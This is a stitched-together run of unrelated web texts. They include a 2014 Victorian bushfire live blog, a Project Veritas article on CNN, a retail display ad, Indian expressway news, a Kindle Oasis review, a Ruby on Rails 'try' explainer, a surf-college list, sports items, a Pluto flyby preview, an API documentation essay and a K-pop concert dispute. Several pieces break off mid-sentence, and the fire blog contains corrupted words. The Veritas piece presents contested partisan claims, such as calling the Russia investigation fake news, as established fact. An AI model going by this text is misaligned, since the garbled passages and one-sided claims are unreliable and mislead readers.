Victoria Police Chief Commissioner Ken Lay said police believe 12 of the 68 fires burning across the state were deliberately lit.
Most of those fires were sparked on the urban fringes of Melbourne, including three grass fires in Epping, in the city's north. Detectives are now investigating those fires.
News_Image_File: A bushfire in the Grampians National Park heads towards the township of Halls Gap. Picture: Stuart McEvoy News_Image_File: Photo: Jake Nowakowski.
3.13PM: A bushfire burning in the Grampians could claim more lives and damage properties, the state's fire services commissioner says.
The 21,000ha bushfire in the Grampians region has already killed one person at Roses Gap and is now threatening Halls Gap and surrounding towns.
An evacuation notice has been issued for the towns of Halls Gap, Pomonal, Bellfield, Lake Fyans, Lake Lonsdale, Roses Gap, Dadswells Bridge, Heatherlie and Ledcourt.
Fire Services Commissioner Craig Lapsley says the threat to the area will increase asouth-westerlyerly change comes through on Friday afternoon.
The fire is expected to move into the holiday town of Halls Gap.
"There is a fair chance of losing property and even, if people are caught in the wrong space, a life could be lost," he told reporters.
Fire rages over the Grampians, spot fires occurring through the area as winds pick up @theheraldsun pic.twitter.com/7Tg6gFucK0 — Tom Minear (@tminear) January 17, 2014
2.56PM: Spot fires continue to burn along the Hume Freeway at Craigieburn, Epping and Thomastown.
Craigieburn resident Jo Hain-Hardie said her house was near a fire.
"We can see the smoke and the helicopters are going overhead and everything (but) I think with everybody in the area, as long as they're aware and they just take precautions, there really shouldn't be too much of an issue," Ms Hain-Hardie said.
Read more on the fires at Craigieburn, Epping and Thomastown
News_Image_File: Firefighters battle a grass blaze beside the Hume Highway. Photo: Andrew Henshaw
2.28PM: Seven bushfires are burning out of control across VictorinorthwestwMallee Regiongion, with crews preparing for an expected wind change.
Eleven aircraft are supporting more than 200 firefighters in the battle to control the blazes occurring mainly in parkland and reserves.
One of the main focuses of Department of Environment and Primary Industry and Parks Victoria firefighters is a 6,500-hectare blaze in parkland near Ouyen.
The fire is at the Bronzewing Flora And Fauna Reserve, which covers an area of about 12,000 hectares, and work is under way to prevent the blaze worsening under changing wind conditions expected later today.
Mildura incident controller Damian Kerr says crews want to make progress early before the strong south-westerly change sweeps through.
Visibility in the area is low, and the Sunraysia Highway has been closed between the Calder Highway and the township of Speed.
Another high priority is a 20,000-hectare blaze in the Big Desert Wilderness Park near the South Australian border.
That fire is impacting on the Red Bluff Flora and Fauna Reserve and Murrayville-Nhill Road has been closed.
Firefighters are also battling a number of other fires which have merged near the Lake Albacutya Freeway Track in south-eastern Wyperfeld.
Fires are also burning near Rocket Lake in Murray Sunset National Park and next to Underbool Track in Wyperfeld National Park.
Both national parks have been closed along with Hattah Kulkyne National Park.
Authorities are urging people to stay informed and travellers in the area should plan their trip.
2.24PM: Victoria's extreme weather and bushfires could cause unexpected power outages after searing heat this week pushed the system to capacity.
High temperatures drove the network to the limit and while forced outages were flagged to stabilise the network during extreme conditions, none occurred.
But the Energy Supply Association of Australia (ESAA) says any threat to reliable power supply may still be caused, although by bushfires and weather, rather than high demand.
This is what is sitting above Stawell at the moment. Really eerie.. pic.twitter.com/aXsnV73W0a — Michael Scanlan (@MScanlan7) January 17, 2014
2.22PM: A man who lit a fire at a Gippsland camping site had a radio on airing total fire ban warnings, police say.
The 45-year-old was one of two men interviewed by police yesterday over lighting a fire at Yarram on a total fire ban day.
Police say when they arrived a radio was on in the background and was |
ield, a producer who works at the CNN headquarters in Atlanta, Georgia told a Veritas operative, “I mean, it’s mostly bullshit right now. Like, we don’t have any giant proof,” referring to the Russia investigation that the liberal mainstream media has devoted massive resources and time to covering.
The new Veritas investigation confirms what the public has been saying for months now. The Russia investigation narrative that accuses President Trump of colluding with Russia to influence the 2016 U.S. presidential election is fake news, and simply a plot to get higher ratings from liberal TV viewers who are looking for more reasons to hate President Trump.
At one point in the video, Bonifield suggests that CNN lacks journalistic ethics.
“It’s a business, people are like the media has an ethical phssssss… All the nice cutesy little ethics that used to get talked about in journalism school you’re just like, that’s adorable. That’s adorable. This is a business,” said Bonifield.
On June 18, 2017, President Trump described the Russia investigation as a “witch hunt.”
The MAKE AMERICA GREAT AGAIN agenda is doing very well despite the distraction of the Witch Hunt. Many new jobs, high business enthusiasm,.. — Donald J. Trump (@realDonaldTrump) June 18, 2017
Bonifield confirmed Trump’s accusations, saying:
“I haven’t seen any good enough evidence to show that the President committed a crime. I just feel like they don’t really have it but they want to keep digging. And so I think the President is probably right to say, like, look you are witch hunting me. You have no smoking gun, you have no real proof.”
Project Veritas President and founder James O’Keefe said this series is the first part of a promise he made to the people in the beginning of the year.
On January 19, 2017, O’Keefe announced his plans to expose the mainstream media during his notorious address at the Deploraball, the night before President Trump’s inauguration.
“We are embedded in your institutions, we are inside your newsrooms, and that is going to be our next target,” said O’Keefe.
This isn’t the first time Project Veritas has targeted CNN.
In February 2017 at a Veritas press conference at CPAC, O’Keefe dropped the “CNN leaks”, hundreds of hours of secretly recorded audio from within CNN’s Atlanta headquarters by a woman who was identified as “Miss X”. The audio recordings were released in a Wikileaks format and the public was asked to help sort through and transcribe the tapes. O’Keefe offered a $10,000 reward to anyone who could provide Veritas with legally obtained audio or video recordings that prove mainstream “media malfeasance.”
The Veritas bombshell was released only one day after three CNN employees resigned in disgrace for publishing a fake news story that accused Trump ally Anthony Scaramucci of having ties to a Russian bank.
The scandal resulted in CNN establishing new editorial rules for the network regarding all stories relating to Russia. In a leaked internal email, Rich Barbieri, a CNNMoney executive editor said, “No one should publish any content involving Russia without coming to me and Jason [Farkas]. This applies to social, video, editorial, and MoneyStream. No exceptions.”
In wake of story retraction, CNNMoney exec editor sends memo to staff mandating all "Russia-related content" must be cleared by him or VP pic.twitter.com/2Y6QMZj1h5 — Jon Passantino (@passantino) June 25, 2017
In the video, Bonifield claims that the orders to report fake news about Russia come directly from Jeffrey Zucker, the CEO of CNN.
“Just to give you some context, President Trump pulled out of the climate accords and for a day and a half we covered the climate accords. And the CEO of CNN (Jeff Zucker) said in our internal meeting, he said good job everybody covering the climate accords, but we’re done with that, let’s get back to Russia,” said Bonifield.
Currently at @Project_Veritas headquarters with @JamesOKeefeIII. He has a message for you about a huge video release tomorrow! Stay tuned. pic.twitter.com/lCxntfg7Od — Laura Loomer (@LauraLoomer) June 27, 2017
During the video release, Rebel Media was granted exclusive behind the scenes access to Project Veritas headquarters as they prepared to drop fireworks on CNN.
The video was somehow leaked earlier than the original embargoed release time of 10:00 am on Tuesday, causing Veritas staff to quickly change release plans nearly ten hours before the scheduled release time. Following news of the leak, anxious Twitter users were posting and sharing a leaked draft of the damning exposé that quickly made its way to the top of The_Donald Reddit page and the DMs of numerous conservative Twitter personalities.
THE JOHN BONIFIELD TAPE IS REAL. @JamesOKeefeIII WILL BE POSTING IT IN 15 TO 20. CNN IS FINISHED! HAHAHA. — Mark Dice (@MarkDice) June 27, 2017
When asked about how the new video was leaked early, O’Keefe told Rebel Media, “It was all part of the plan.”
Project Veritas has revealed exclusively to Rebel Media that Veritas operatives have caught more top level CNN correspondents on camera doubling down and further confirming that the Russia media hysteria is a nothing burger.Gridwall
Gridwall is used for all types of retail merchandising. It is attractive, durable and versatile and can be used on walls, ceilings, triangle displays, gondola displays and other configurations. Gridwall is a cost effective retail display choice offering unlimited display opportunities. There are numerous gridwall fixtures and gridwall accessories available enabling you to display about any type of retail merchandise in an attractive visual display. Gridwall allows the retailer to easily change displays and keep a fresh look. We also carry gridwall hardware, gridwall merchandisers, and gridwall acrylic.
Our gridwall panel displays are available in white, black or chrome. Our gridwall panels come in many sizes: 1' x 5', 2' x 4', 2' x 5', 2' x 6', 2' x 7' and 2' x 8' panels. Gridwall joiner clamps, two way grid connector and wall mount brackets are also available. Please note all 4' x 4'grid panels and all grid panels 6' and over are oversized and will incur additional shipping.BENGALURU: The proposed 265-km six-lane expressway between Bengaluru and Chennai is expected to get the Centre’s nod by June this year. The ambitious tollway project, once implemented, will cut down fuel consumption and travel time to less than four hours.Union Road Transport and Highways Minister Nitin Gadkari made an announcement to this effect at a review meeting of NHAI projects in New Delhi on Tuesday. Besides Bengaluru-Chennai, the government will also sanction Mumbai-Vadodara and Delhi-Amritsar-Katra expressways by June, the minister said.The NHAI (National Highways Authority of India) has planned to implement the project on design, build, finance, operate and transfer (DBFOT) basis, and has already applied to ministry of environment and forests for clearance. The NHAI will implement the project under 1000-km of expressways it proposes to build under phase VI of the national highways development project (NHDP).According to a NHAI note submitted for forest and environment clearance, the NHAI wants to facilitate high-speed travel on the proposed Bengaluru-Chennai corridor, which will have a width of 90-metres. The highways organisation has projected a peak traffic of 45,000 to 60,000 passenger car units (PCUs) a day in three sections along the corridor.The Centre has decided to build the greenfield project as the existing national highway-four (NH-4), which runs parallel to the proposed corridor, is one of the highest traffic carrying corridors in India. The new project will be developed as a fully access controlled facility on a new alignment, according to the NHAI note.Bengaluru and Chennai are currently connected by two highways: One runs 335-km via Kolar, Chittoor, Ranipet and Kanchipuram, while the other runs 372-km via Krishnagiri and Ranipet. The new corridor has been planned in such a way that it will originate at Hoskote on Bengaluru outskirts where NH-4 meets NH-207, and ends at Sriperumbudar, 40 km from Chennai city. The NHAI wants the Chennai-bound traffic coming from Mumbai to access the proposed expressway at the Hoskote point.According to the NHAI note, it will build the project in five sections of Bengaluru-Kolar, Kolar-Palamaner, Palamaner-Chittoor, Chittoor-Kanchipuram and Kanchipuram-Chennai.At the review meeting, Gadkari said, while a record 16,271 km of national highways have been awarded and 8231 km constructed during 2016-17. He urged the ministry officials to award more projects in the coming days, and asked NHAI officials to execute projects at a faster pace. He also said the best performing project director and regional officer of NHAI will receive an award.The Minister also said electronic toll collection will be effective on all lanes on all toll plazas by the end of March next year.Kindle fans, rejoice. Amazon has listened and is finally bringing a waterproof ereader to market — almost 10 years after the internet giant debuted the first Kindle device.
The all-new Kindle Oasis comes 18 months after its same-named sibling was introduced to the world, and the latest incarnation boasts a number of notable upgrades, in addition to its newfound water-repelling powers.
Weighing in at 194 grams and 3.4mm thick, the refreshed Kindle Oasis sports a 7-inch display — one inch larger than its predecessor.
Image Credit: Paul Sawers / VentureBeat
Furthermore, the original Oasis had a built-in battery that promised around two weeks of power, but it also shipped with a separate battery cover that connected to the Oasis via a little port on the rear to give it another seven weeks.
The new Oasis is different. It no longer has a little connector on the back — instead it has an all-aluminium rear and a promise of around six weeks of power via the built-in battery.
Image Credit: Paul Sawers / VentureBeat
The new Oasis also brings back adaptive lighting, which automatically alters the front light based on the environment — this was a feature of the 2014 Kindle Voyage.
But arguably the most interesting new Kindle Oasis feature is deep Audible integration.
Listen up
Though some earlier versions of the Kindle supported audiobook playback, replete with built-in speakers and headphone jacks, you certainly couldn’t flip effortlessly between a text-based book and the audio counterpart of that same book without switching to the Kindle or Audible mobile apps. With Whispersync for Voice on the new Kindle Oasis, you will be able to listen to an audiobook while in the car coming home from work, then switch back to the textual version when you get home — everything will by perfectly synchronized on the same Kindle.
But if you think this means that Amazon has added a 3.5mm headphone jack to the Kindle, well, think again — the audio will only work across Bluetooth.
If you already procured a new Kindle last year, you’re in luck, too. During a demo of the new device last week, Amazon confirmed to VentureBeat that the very same Audible integration will be added to the first-generation Kindle Oasis that launched last year — via an over-the-air (OTA) update in the coming months.
You may also recall that last year’s entry-level Kindle (generation 8) came with Bluetooth audio support out of the box. However, this was mainly for accessibility, as it gave visually impaired readers additional options, such as navigation prompts. Later this year, Amazon will put this Kindle’s Bluetooth capabilities to use through Audible via a similar OTA update.
Watertight
Kindles have come a long way since the Kindle 1 arrived back in November 2007. Gone are the physical keyboard and headphone jack (see below), and here are Bluetooth, deep Audible integration, and adaptive lighting. And now — finally — the device is waterproof.
One recurring criticism of the Amazon Kindle over the years has been that if you like to read in the bath, well, you’ll be out of luck if you drop the device. The criticism was even more pertinent as Kindle pricing approached the $300 mark (as with the original Oasis).
Rival ereader companies like Kobo have had waterproof devices on the market for quite a few years already. Now, Amazon can boast that its IPX8-grade waterproof ereader can be submerged in two meters of fresh water for an hour, which should go some way toward placating Kindle fans.
The new Kindle Oasis opens for preorders today and will start shipping on October 31. Pricing starts at $250 for the 8GB model and $280 for a 32GB incarnation. There is also a $350 model that offers free cellular connectivity, allowing you to download books without relying on Wi-Fi.The Trials and Tribulations of `try` in Ruby on Rails
We’re going to be covering Object#try, which is provided by Active Support’s core extensions. We’ll talk about what’s changed from Rails 3 through 5, and some intricacies to be aware of when using it.
Rails 3.2 and introduction to try ing
For reference: here’s the source.
We’ll be continuing with the dinosaur motif from last week’s post, so let’s assume that we have this class defined:
class Dinosaur def roar "ROOAAARR" end end
In Rails 3.2, the beginning of time as far as we’re concerned, Active Support adds a try method to Object and to NilClass.
The effect is explained succinctly in the source:
+try+ behaves like +Object#send+, unless called on +NilClass+.
If you call try on nil, it will just return nil.
Thus, for example, you have an instance variable @dinosaur that could have been set to nil, but you’d like it to roar otherwise, you can call @dinosaur.try(:roar) without worrying about a NoMethodError. If you don’t have a dinosaur, it will just return nil.
Note that if you call Dinosaur.new.try(:dance), you will get a NoMethodError. You have a Dinosaur instance, but it does not respond to the dance method. This will change as we move forward in Rails versions.
Rails 4 and the introduction of try!
For reference: here’s the source.
In Rails 4, the behavior of try is changed. No longer will calling Dinosaur.new.try(:dance) give you a NoMethodError : instead, it will return nil. The other behavior is unchanged, meaning that Dinosaur.new.try(:roar) will still result in "ROOAAARR" and nil.try(:roar) will still result in nil.
If, however, you’re not a fan of this behavior and want to still be given the reasonable NoMethodError when you typo and ask your dinosaur to raor, Active Support introduces the try! method. Its behavior matches that of Rails 3.
Rails 5 and fun with Delegator
Again, for reference, here’s the source.
You may have noticed that in Rails 3 and 4, only Object and NilClass are monkey-patched to add try. This works as expected most of the time, but the exception is when classes inherit from BasicObject instead of Object : they don’t have try.
This usually comes up when using SimpleDelegator instances (which we’re fond of using for presenters via the frosting gem). The call to try will be delegated to the wrapped object instead of being called on the instance of the delegator itself.
This has been used by some as a hack to intentionally bypass the presenter for calling a method on the wrapped object, but it usually causes confusion when you’re expecting the method you’re try ing to call to be called on the presenter instance.
With Rails 5, try will now be included in Delegator (the parent of SimpleDelegator ), which will fix this unexpected behavior (and break things for anyone who’s been using it as a hack to call methods on the wrapped object).
So try is pretty cool
But it can certainly bite you in the ass if you don’t understand the intricacies of its implementation.
Have a relevant story to tell? Or would you just like to show me pictures of funny hats? Either way, I’m on Twitter as @jon_evans, and I would love to hear from you.
Tweet at JonThe pursuit of a college degree may not seem like the most practical way to chase surf, binding yourself to one location for an extended period of time and saddling yourself with tens of thousands of dollars in student loan debt just to postpone your eventual entry into the Rat Race in service of paying down your federally subsidized debt. Oh, how Dora would rage!
But there are obviously advantages to furthering your formal education. Regardless of your career path, a college degree is now the lowest barrier to entry to the jobs market. The unemployment rate for college graduates hovers around 2 percent. And those with a degree from a four-year academic institution earn 90 percent more on average than those without a post-high school education. Unless you’re one of the lucky few whose resume will include the single-line entry “professional surfer,” in order to surf for the rest of your life, you’ll need money. And while there may be other ways to get it, a job is the most practical (and legal) recourse.
So college is good idea, but let’s talk trade-offs. You’re going to be tied to one specific location for four (or more) years of your life. You might as well find a school within striking distance of a sliver of coastline offering ample opportunities for aquatic-based matriculation between classes. Also, it’s (almost) as important to make sure the school provides a quality education.
To make life easier on both you and your guidance counselor, we pored over university pamphlets, surf reports, and statistics–taking into consideration surf proximity and quality, academics, cost and lifestyle–to narrow down America's most surf-friendly four-year schools. The list we’ve assembled includes ten prestigious institutions, revered by many surfers for their high academic standards, illustrious alumni, and, not coincidentally, their nearness to quality surf.
1. University of California San Diego
Sitting on the cliffs overlooking Black’s Beach, UCSD offers relatively unfettered access to one of Southern California's crown jewels. Good at nearly any size, Black's alone would be enough to land USCD on our list of Top 10 Surf Colleges. Throw in its central locality among 70 miles of San Diego coastline, and it's easy to see why the school put up high numbers for proximity to surf. Don't want to hassle with the crowds at Black's? Drive 10 minutes north or south and you'll find fun numerous reefbreaks and beachbreaks. Read more.
Annual cost: $31,500 in-state / $59,500 out-of-state
Enrolled: 28,100
Average GPA of incoming freshman: 4.0
Male/Female ratio of student body: 48/52
2. University of California Santa Cruz
Surrounded by some of the most famed (and diverse) surf spots in the world, UCSC may be cold, but it's also the capital of consistency. The campus, situated among the redwoods in the hills overlooking the coast, is just a 5-minute drive to the breaks on the west side and just a few more to dozens more on the east side. Though locals are notoriously anti-Slugs (UCSC mascot), skill and respect go a long way. Read more.
Annual cost: $31,500 in-state / $59,500 out-of-state
Enrolled: 16,200
Average GPA of incoming freshmen: 3.76
Male/Female ratio of student body: 48/52
3. Point Loma Nazarene University
Located on the bluffs above wave-rich Sunset Cliffs, Point Loma offers the closest dorms to the warm Southern California surf of San Diego. As a religiously affiliated university, the school can be pretty strict, requiring that freshmen attend chapel and live on campus without a car for their first year. But, with an array of quality waves just a few steps away, who needs to go anywhere? Read more.
Annual cost: $48,000
Enrolled: 3,200
Average GPA of incoming freshman: 3.78
Male/Female ratio of student body: 36/54
4. University of California Santa Barbara
Offering over 200 majors, degrees, and credentials, UCSB is ranked among the top ten public universities in the nation. Likewise, as the school gains popularity and prestige, it’s become progressively more competitive, cultivating a high academic standard and attracting renowned faculty, including six winners of Nobel Prizes. With the Channel Islands blocking a portion of incoming swells, Santa Barbara is often looked at as the fickle sister of the wave-rich regions of Central California to the north and Southern California to the south. But where Santa Barbara lacks in consistency, it certainly makes up in quality—one good session at the Queen of the Coast will certainly remind you why she’s worth the trouble. Read more.
Annual cost: $35,000 in-state/ $60,000 out-of-state
Enrollment: 23,000
Average incoming freshman GPA: 3.96
Male/Female student ratio: 47/53
5. University of Hawaii Manoa
Sure, it's Town. But you're in Hawaii. On Oahu. Close to the high-quality lefts of Publics, with premiere Town spots like Ala Moana Bowls just a short drive away, University of Hawaii Manoa students are never wanting for access to good surf. The water’s warm, the swells are prolific, and the North Shore's just an hour drive away. 'Nuff said. Read more.
Annual cost: $28,600/ $50,600 out-of-state
Enrolled: 18,865
Average Incoming Freshman GPA:3.46
Male/Female Ratio: 45/55
6. California Polytechnic State University
An hour and a half north of Santa Barbara, the San Luis Obispo coastline—while often overlooked in the shadow of more well-regarded, more crowded stretches of coast to the south—offers an abundance of less crowded (though colder) surf breaks. The CPSU campus is a 15-minute drive from Morro Bay, and within striking distance of a smattering of quality spots like Pismo Beach, Cuyacos Pier, and Avila Beach, each offering top-notch surf when conditions align. Meanwhile, more adventurous, crowd-averse surfers will find the coast between San Luis Obispo and Big Sur can heap rewards on those who combine ambition with proper planning. Read more.
Annual Cost:$27,000 in-state / $39,000 out-of-state
Enrolled: 20,900
Average incoming GPA: 3.92
Male/Female ratio of student body: 53/47
7. San Francisco State University
Located on the outskirts of a city known internationally for the heterogeneous makeup of its population and its inclusive mindset, SF State has, unsurprisingly, one of the most diverse student bodies in the country. SF State offers bachelor's degrees in 118 different areas of specialization, including a storied teacher education program, which offers 26 credentials among six different colleges. Boasting a world-class beach break and a few novelty points—including one with an iconic backdrop and noted reputation for ferocious localism—San Francisco does, indeed, have surf. Stretching from Kelly's Cove to the Sloat Blvd. parking lot, Ocean Beach is one of the heaviest, most dynamic beachbreaks in the world. Read more.
Annual cost: $26,720 in-state / $38,600 out-of-state
Enrolled: 25,495
Average GPA of incoming freshmen: 3.23
Ratio of male/female students: 44/56
San Diego State University
SDSU is slightly easier to get into than the UC schools, and whole lot less expensive. It's the oldest and largest institution in the city and it's a short drive to all the San Diego breaks. Although it lacks the ocean vistas of nearby Point Loma Nazarene University and the proximity to world-class surf of UCSD, State Diego State University remains within striking distance of a good portion of one of California's most wave-rich regions. It's a just straight shot west on the 8 freeway to Ocean Beach and less than an hour north of the US-Mexico border. Warm weather and 70 miles of beach breaks, piers, and reefs make San Diego a no-brainer for those interested in aquatic-based extracurricular activities. Read more.
Annual cost: $28,200 in-state / $40,000 out-of-state
Enrolled: 34,000
Average incoming GPA: 3.67
Male/female ratio of students: 46/54
9. University of North Carolina Wilmington
It's not often world-class, but with a handful of sand-accumulating, man-made structures and a natural tributary (or two), the clear, warm(ish)-water breaks of Wrightsville Beach (just a ten-minute drive from UNC-Wilmington campus) produce relatively consistent surf by east coast standards. Tide-dependant spots like Masonboro Inlet and Crystal Pier each have their moments. And with Cape Hatteras just a four-hour drive from Wilmington, barrel-hungry chargers can get their fill as well.
UNC Wilmington boasts one of the best marine sciences program in the nation, and the nearby Outer Banks surf community is certainly a strong one. Read more.
Annual cost: $24,600 in-state / $38,600 out-of-state
Enrolled: 15,000
Average incoming GPA: 3.67
Ratio of male/female students: 38/62
10. Monmouth University
If you're going attend college on the East Coast, don't mind cold-water, and very much enjoy getting barreled, New Jersey's Monmouth University is undoubtedly your best bet. Located in suburban, coastal Jersey, the Monmouth University campus is just a mile from some of the best beach breaks on right coast and minutes from Sandy Hook, where strong east swells produce huge barrels that fire down the sand-bottom point. Widely considered one of the top private schools in the region, Monmouth offers degrees in 26 undergraduate programs, plus a bounty of learning opportunities for ocean-inclined students through the school's Urban Coast Institute and internships with the New Jersey Division of Fish and Wildlife. Read more.
Annual cost: $55,000
Enrollment: 6,400
Average incoming freshman GPA: 3.33
Ratio of male/female students: 42/58Victorian allrounder Marcus Stoinis has been declared fit for the ICC Champions Trophy and will travel with several members of the Australia squad from Brisbane to London on Thursday night.
Stoinis, who was forced to leave his stint with Kings XI Punjab in the Indian Premier League early due to a shoulder injury, bowled today at the Bupa National Cricket Centre in Brisbane and was passed fit by team support staff.
The allrounder injured the shoulder diving for a ball while warming-up for Punjab's match against Royal Challengers Bangalore on May 5 and, after undergoing scans in India, headed to the NCC for rehab in a bid to prove his fitness for the upcoming ODI tournament.
It was confirmed today that the 27-year-old has done exactly that, with a Cricket Australia spokesperson saying "he bowled today and medical staff were happy with his progress".
Australia's first warm-up game for the Champions Trophy is in London on May 26 against Sri Lanka, before a second fixture against Pakistan on May 29 in Birmingham.
Their first match in the tournament proper is against the Black Caps on June 3, also in Birmingham.
With James Faulkner having been overlooked for a spot in the 15-man squad, Stoinis looms as a likely inclusion in Australia's best XI, having played in Australia's two most recent ODIs, against New Zealand on the tour across the Tasman in January-February.
Super Stoinis sets new all-round benchmark
In the first of those matches he took three wickets and blazed a record-breaking 146 not out to take Australia to within a whisker of a remarkable come-from-behind win.
He followed it up with a mature 42 in the final ODI of that series, prompting coach Darren Lehmann to suggest big things may await the powerful right-hander.
"Now he's got that belief, the world's his oyster," Lehmann said at the time.
"It's up to him to keep kicking goals and away he goes."
Stoinis had a disappointing time of things in the recent IPL, playing five matches and contributing just 17 runs with the bat from three innings, while also taking two wickets.
He will now head to London alongside Lehmann and the remainder of the squad's Australia-based players, while those currently in India will arrive after their respective IPL campaigns end.
AUSTRALIA SQUAD: Steve Smith (c), David Warner, Pat Cummins, Aaron Finch, John Hastings, Josh Hazlewood, Travis Head, Moises Henriques, Chris Lynn, Glenn Maxwell, James Pattinson, Mitchell Starc, Marcus Stoinis, Matthew Wade, Adam Zampa
Champions Trophy 2017 Guide
Squads: Every Champions Trophy squad
Group A: Australia, New Zealand, England, Bangladesh.
Group B: India, South Africa, Sri Lanka, Pakistan.
Schedule
Warm-up matches
26 May – Australia v Sri Lanka, The Oval
27 May – Bangladesh v Pakistan, Edgbaston
28 May – India v New Zealand, The Oval
29 May – Australia v Pakistan, Edgbaston
30 May – New Zealand v Sri Lanka, Edgbaston
30 May – Bangladesh vs India, The Oval
Tournament
1 June – England v Bangladesh, The Oval (Day)
2 June – Australia v New Zealand, Edgbaston (D)
3 June – Sri Lanka v South Africa, The Oval (D)
4 June – India v Pakistan, Edgbaston (D)
5 June – Australia v Bangladesh, The Oval (D/N)
6 June – England v New Zealand, Cardiff (D)
7 June – Pakistan v South Africa, Edgbaston (D/N)
8 June – India v Sri Lanka, The Oval (D)
9 June – New Zealand v Bangladesh, Cardiff (D)
10 June – England v Australia, Edgbaston (D)
11 June – India v South Africa, The Oval (D)
12 June – Sri Lanka v Pakistan, Cardiff (D)
14 June – First semi-final (A1 v B2), Cardiff (D)
15 June – Second semi-final (A2 v B1), Edgbaston (D)
18 June – Final, The Oval (D)
19 June – Reserve day (D)The Los Angeles Lakers put the finishing touches on their training camp roster on Monday evening, signing free agent big man Andrew Bogut to a 1 year, $2.3M contract. While the contract is only partially guaranteed, Bogut is a favorite of Lakers Coach Luke Walton and believed to have the inside track on the 15th and final roster spot, despite the fact that there is no shortage of bigs on the team.
In the last Laker Film Room installment of the offseason, I take a look at what Bogut brings to the table after an injury-plagued 2016-17 season in which he appeared in only 28 games, before fracturing his tibia in the first minute of his first shift with the Cleveland Cavaliers. At this point of his career, Bogut is a specialist who has a clear understanding of what he does and doesn’t do well. He’s a quality rim protector whose playmaking may lead to more offensive continuity, but the glaring holes in his game can be problematic.
Laker Film Room is fueled by your support. If you believe in the work that I do, please consider pledging $1 per month or making a one-time donation to continue to make it possible. You can find me on Twitter @LakerFilmRoom and on YouTube here.NASA’s Pluto-bound spacecraft is set to make history on when it flies by the dwarf planet on Tuesday.
In a journey nearly a decade in the making, NASA’s New Horizons probe will become the first spacecraft in history to visit Pluto when it flies by the dwarf planet on Tuesday. The spacecraft is scheduled to pass within 7,800 miles of Pluto during its closest approach to the dwarf planet at 7:49:57 a.m. EDT on July 14.
During the flyby the New Horizons probe will go silent, directing its antenna away from Earth in order to position itself to capture the best images of Pluto and its moons. In addition to that, there is a 4.5 hour communications delay between Earth and the spacecraft, meaning we won’t receive live images of Pluto.
By the time we receive a signal from New Horizons, the spacecraft will have already made its closest approach to the dwarf planet. The New Horizons team should receive a small amount of data at 8:53 p.m. EDT on Tuesday, July 14, which will let them know the spacecraft survived its close encounter with the Pluto system.
NASA and the Slooh Community Observatory will be providing live coverage of the historic flyby. NASA’s coverage of the flyby will begin at 7:30 a.m. EDT on Tuesday, July 14. NASA will host a press conference on the health of New Horizons starting at 9:30 p.m. EDT on Tuesday. Slooh’s live stream will begin at 7:30 a.m. EST on Tuesday, followed by another broadcast starting at 5:30 p.m. EDT on Wednesday, July 15.
The American Museum of Natural History in New York City will also be providing a live broadcast of the historic event hosted by Museum Curator Denton Ebel, Astrovisualization Director Carter Emmart, and Director of the Hayden Planetarium Neil deGrasse Tyson. The AMNH live stream will begin at 7 a.m. EDT on Tuesday, July 14.While almost everyone seems to agree that documentation is of key importance when launching an API, little is said about how it can actually affect API adoption. Jeffrey Hammond, a Principal Analyst at Forrester, claims that “adoption patterns are shifting towards developers,” giving them the power to “block or aid the adoption of software.” This means that a significant way to persuade decision makers to choose your software over your competitors’ is to gain the trust and confidence of developers.
One of the best ways to increase developers’ awareness of and interest in your product is to make your API as immediately usable as possible. This begins with the documentation.
How Does API Documentation Affect Adoption?
Documentation plays a central role in the way an API is perceived by developers. Poor documentation is often a sign of a badly maintained API — one that developers will try to avoid at all costs. The more you focus your API documentation on the developers, the more it will build their confidence and improve their experience.
Onboarding Experience
Begin with the first impression. It shouldn’t take a developer more than five minutes to understand your API and begin using it. The only way to make this a reality is to provide a streamlined and concise onboarding experience. Documentation should quickly take developers to a stage where they’re already using the API with little or no effort.
One possible way to make this happen is to create a “sandbox environment,” where developers can play with the API without actually hitting your production servers. This allows you to offer a minimum signup process, asking only what is really needed instead of a lengthy registration process that can drive many developers away.
Good documentation should clearly inform developers of what they must do to get started — and how to do it. If your API works with API tokens, generate one on-the-fly and let developers use it right away. If you use OAuth, provide fake consumer information, and even an access token, so developers can start making API calls immediately.
Remember that this is only the first step of engagement, and developers are still evaluating your API. You should let them experiment as much as possible, but without compromising your production systems or any real user information.
The Power to Experiment
To let developers experiment with your API you can follow any or a combination of the following strategies:
Offer an API console: This is the minimum you should offer as an experimentation tool. With an API console, developers are encouraged to immediately test what they see in the documentation, and see real API calls taking place. Offer an SDK: Publish an open source SDK in as many programming languages as your target developers use. Provide comprehensive SDK documentation and make it easy to install and configure. Popular ways of distributing SDKs include npm for Node.js, Packagist for PHP, RubyGems for Ruby and PyPI for Python. Publish tutorials: Begin with a Quick Start Guide and follow with tutorials showing them how to implement interesting use cases with your API. Provide sample snippets using the SDKs in as many languages as possible, so that developers can simply copy and paste the code and communicate with your API with minimum effort.
By following this approach you will offer a rich and comprehensive documentation with all the tools that a developer needs to get started immediately. Developers will be able to choose their favorite programming languages and follow your tutorials on how to implement the specific use cases they’re looking for.
Building all this from scratch is no easy task. Documentation is something that needs a lot of focus on detail, and should continually reflect the latest API changes. Our advice is to always follow the industry standards and use proven method and tools.
Tools that Help you Build Great Documentation
Among all the API-related tools, documentation is probably the area showing the most growth. This is particularly interesting because documentation is traditionally something that developers pay little attention to when launching code. There are now several standards and tools that will cut down documentation implementation time dramatically.
Swagger, for instance, is an open source tool chain that lets you easily create interactive documentation. Apigee is using Swagger on its Apigee-127 toolkit. Apigee-127 is a model-first toolkit for building rich, enterprise-class APIs that run on any PaaS provider that supports Node.js. To use the toolkit, you start by modeling your API with a built-in Swagger editor, and from there your API code is automatically generated.
RAML, or RESTful API Modeling Language, is a specification and a set of tools that lets you model your API and provide documentation from it. It has been gaining a lot of adoption in the enterprise space, probably because it follows three main principles: it’s human- readable, simple, and can be broken down by patterns.
With an even more human approach, API Blueprint lets |
said they got touched all over their body? How many kids didn’t tell their parents that they were attending the concert? This is because the tickets are too expensive. The kids want to see their idols, but are too afraid to ask their parents for money. They saved up by not eating, all because they want to see their idols just once. Even after being wronged, they are too afraid to say anything at home, so they have expressed their frustration [on this Facebook page]. But there is no response [from the organizer]?”
The mother ended her post with, “I feel for the kids who have been hurt from this experience but have to remain silent. I’m even more angry about the aggressive actions that were done against my daughter. We have already done a checkup of the injuries and reserve the right to take legal action. Please contact me.”
In regards to the accusations, organizer SuperDome expressed that there were announcements telling fans not to bring cameras into the venue, but a lot of fans still tried to bring them in, and therefore staff members and security guards were asked to perform checks.
Additionally, according to the organizer, female fans were searched by female staff only by lightly patting their arms, waist, and thighs, contrary to fan accounts. It also strongly denied the sexual harassment accusations made by the fans.
